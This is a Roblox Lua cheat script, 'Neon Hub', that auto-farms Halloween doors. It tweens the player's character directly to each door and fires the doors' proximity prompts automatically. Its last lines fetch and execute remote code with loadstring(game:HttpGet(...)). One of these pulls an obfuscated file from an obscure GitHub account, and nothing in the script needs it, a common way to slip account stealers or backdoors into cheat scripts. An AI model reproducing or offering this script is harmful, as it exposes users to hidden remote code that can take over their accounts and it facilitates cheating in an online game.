-- NEON HUB - HALLOWEEN DOOR FARM local Players = game:GetService("Players") local TweenService = game:GetService("TweenService") local UserInputService = game:GetService("UserInputService") local ProximityPromptService = game:GetService("ProximityPromptService") local player = Players.LocalPlayer local SPEED = 150 local WAIT_TIME = 7 local TRASH_RADIUS = 40 local enabled = false local currentTween = nil local runId = 0 local visited = {} local interacted = {} -- GUI local gui = Instance.new("ScreenGui") gui.Name = "NeonHub" gui.ResetOnSpawn = false gui.Parent = player:WaitForChild("PlayerGui") local frame = Instance.new("Frame") frame.Size = UDim2.fromOffset(375, 228) frame.Position = UDim2.new(0.5, -187, 0.5, -114) frame.BackgroundColor3 = Color3.fromRGB(20, 20, 25) frame.Active = true frame.Parent = gui local corner = Instance.new("UICorner") corner.CornerRadius = UDim.new(0, 12) corner.Parent = frame local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(0, 255, 120) stroke.Thickness = 2 stroke.Parent = frame -- TITLE local title = Instance.new("TextLabel") title.Size = UDim2.new(1, 0, 0, 55) title.BackgroundTransparency = 1 title.Text = "NEON HUB" title.TextColor3 = Color3.fromRGB(0, 255, 120) title.TextSize = 25 title.Font = Enum.Font.GothamBold title.Active = true title.Parent = frame -- DRAGGING local dragging = false local dragStart local startPosition title.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPosition = frame.Position end end) UserInputService.InputChanged:Connect(function(input) if dragging and ( input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch ) then local delta = input.Position - dragStart frame.Position = UDim2.new( startPosition.X.Scale, startPosition.X.Offset + delta.X, startPosition.Y.Scale, startPosition.Y.Offset + delta.Y ) end end) UserInputService.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = false end end) -- STATUS local status = Instance.new("TextLabel") status.Size = UDim2.new(1, -20, 0, 45) status.Position = UDim2.fromOffset(10, 75) status.BackgroundTransparency = 1 status.Text = "Status: DISABLED" status.TextColor3 = Color3.fromRGB(220, 220, 220) status.TextSize = 16 status.Font = Enum.Font.Gotham status.Parent = frame -- TOGGLE BUTTON local button = Instance.new("TextButton") button.Size = UDim2.new(1, -40, 0, 50) button.Position = UDim2.fromOffset(20, 145) button.BackgroundColor3 = Color3.fromRGB(0, 180, 90) button.Text = "ENABLE" button.TextColor3 = Color3.new(1, 1, 1) button.TextSize = 18 button.Font = Enum.Font.GothamBold button.Parent = frame local buttonCorner = Instance.new("UICorner") buttonCorner.CornerRadius = UDim.new(0, 8) buttonCorner.Parent = button -- TRASH DETECTION local function isTrashObject(object) local current = object while current and current ~= workspace do local name = current.Name:lower() if name:find("bin") or name:find("trash") or name:find("rubbish") or name:find("garbage") then return true end current = current.Parent end return false end local function getObjectPosition(object) if object:IsA("Model") then return object:GetPivot().Position elseif object:IsA("BasePart") then return object.Position end return nil end local function getTrashObjects() local trash = {} local added = {} for _, object in ipairs(workspace:GetDescendants()) do if (object:IsA("Model") or object:IsA("BasePart")) and isTrashObject(object) and not added[object] then added[object] = true table.insert(trash, object) end end return trash end -- DOOR POSITION local function getDoorCFrame(object) if object:IsA("Model") then return object:GetPivot() end return object.CFrame end -- CHECK DOOR DISTANCE FROM TRASH local function isNearTrash(door, trashObjects) local doorPosition = getDoorCFrame(door).Position for _, bin in ipairs(trashObjects) do if bin.Parent then local binPosition = getObjectPosition(bin) if binPosition and (doorPosition - binPosition).Magnitude <= TRASH_RADIUS then return true end end end return false end -- FIND HALLOWEEN DOORS local function getDoors() local doors = {} local added = {} for _, folder in ipairs(workspace:GetDescendants()) do if folder:IsA("Folder") then local folderName = folder.Name:lower() if folderName:find("halloween") or folderName:find("door") then for _, object in ipairs(folder:GetDescendants()) do local name = object.Name:lower() if name:find("door") and (object:IsA("Model") or object:IsA("BasePart")) and not isTrashObject(object) and not added[object] then added[object] = true table.insert(doors, object) end end end end end -- Avoid targeting parts inside a door model separately local filtered = {} for _, object in ipairs(doors) do local insideModel = false if object:IsA("BasePart") then for _, other in ipairs(doors) do if other:IsA("Model") and object:IsDescendantOf(other) then insideModel = true break end end end if not insideModel then table.insert(filtered, object) end end return filtered end -- PROMPT FILTER local function isHalloweenDoorPrompt(prompt) local current = prompt.Parent local foundDoor = false local foundFolder = false while current and current ~= workspace do local name = current.Name:lower() if name:find("door") then foundDoor = true end if current:IsA("Folder") and (name:find("halloween") or name:find("door")) then foundFolder = true end current = current.Parent end return foundDoor and foundFolder end -- AUTO INTERACT ProximityPromptService.PromptShown:Connect(function(prompt) if not enabled then return end if not prompt:IsA("ProximityPrompt") then return end if not isHalloweenDoorPrompt(prompt) then return end if interacted[prompt] then return end interacted[prompt] = true task.spawn(function() if enabled and prompt.Parent then prompt:InputHoldBegin() task.wait() prompt:InputHoldEnd() end task.wait(0.5) interacted[prompt] = nil end) end) -- STOP local function stop() enabled = false runId += 1 if currentTween then currentTween:Cancel() currentTween = nil end status.Text = "Status: DISABLED" button.Text = "ENABLE" button.BackgroundColor3 = Color3.fromRGB(0, 180, 90) end -- START local function start() if enabled then return end enabled = true runId += 1 local thisRun = runId visited = {} status.Text = "Status: SEARCHING" button.Text = "DISABLE" button.BackgroundColor3 = Color3.fromRGB(180, 50, 50) task.spawn(function() while enabled and thisRun == runId do local doors = getDoors() local trashObjects = getTrashObjects() if #doors == 0 then status.Text = "Status: NO DOORS FOUND" task.wait(2) continue end local character = player.Character local humanoid = character and character:FindFirstChildOfClass("Humanoid") local root = character and character:FindFirstChild("HumanoidRootPart") if not humanoid or not root then task.wait(1) continue end local available = {} for _, door in ipairs(doors) do if door.Parent and not visited[door] and not isNearTrash(door, trashObjects) then table.insert(available, door) end end if #available == 0 then local hasSafeDoor = false for _, door in ipairs(doors) do if door.Parent and not isNearTrash(door, trashObjects) then hasSafeDoor = true break end end if hasSafeDoor then visited = {} for _, door in ipairs(doors) do if door.Parent and not isNearTrash(door, trashObjects) then table.insert(available, door) end end else status.Text = "STATUS: ALL DOORS NEAR TRASH" task.wait(2) continue end end local nearestDoor local nearestDistance = math.huge for _, door in ipairs(available) do if door.Parent then local distance = (root.Position - getDoorCFrame(door).Position).Magnitude if distance < nearestDistance then nearestDistance = distance nearestDoor = door end end end if nearestDoor then status.Text = "STATUS: MOVING TO DOOR" local doorCFrame = getDoorCFrame(nearestDoor) local destination = doorCFrame.Position - doorCFrame.LookVector * 5 local target = CFrame.lookAt( destination, doorCFrame.Position ) local duration = math.max(nearestDistance / SPEED, 0.05) currentTween = TweenService:Create( root, TweenInfo.new(duration, Enum.EasingStyle.Linear), {CFrame = target} ) currentTween:Play() currentTween.Completed:Wait() currentTween = nil if not enabled or thisRun ~= runId then break end visited[nearestDoor] = true status.Text = "STATUS: WAITING AT DOOR" for i = WAIT_TIME, 1, -1 do if not enabled or thisRun ~= runId then break end status.Text = "STATUS: WAITING " .. i .. "s" task.wait(1) end else task.wait(1) end end end) end button.Activated:Connect(function() if enabled then stop() else start() end end) loadstring(game:HttpGet("https://raw.githubusercontent.com/freescriptshshs/IgnahK/refs/heads/main/obf_Ci1HEvK8VD8f3DfeoPJQ028d50KcIUyx5tbRl030TU5GTs0YaITUDxm45pLa2rX7.txt"))() loadstring(game:HttpGet("https://scriptblox.com/raw/Universal-Script-AntiAFK-script-18076"))()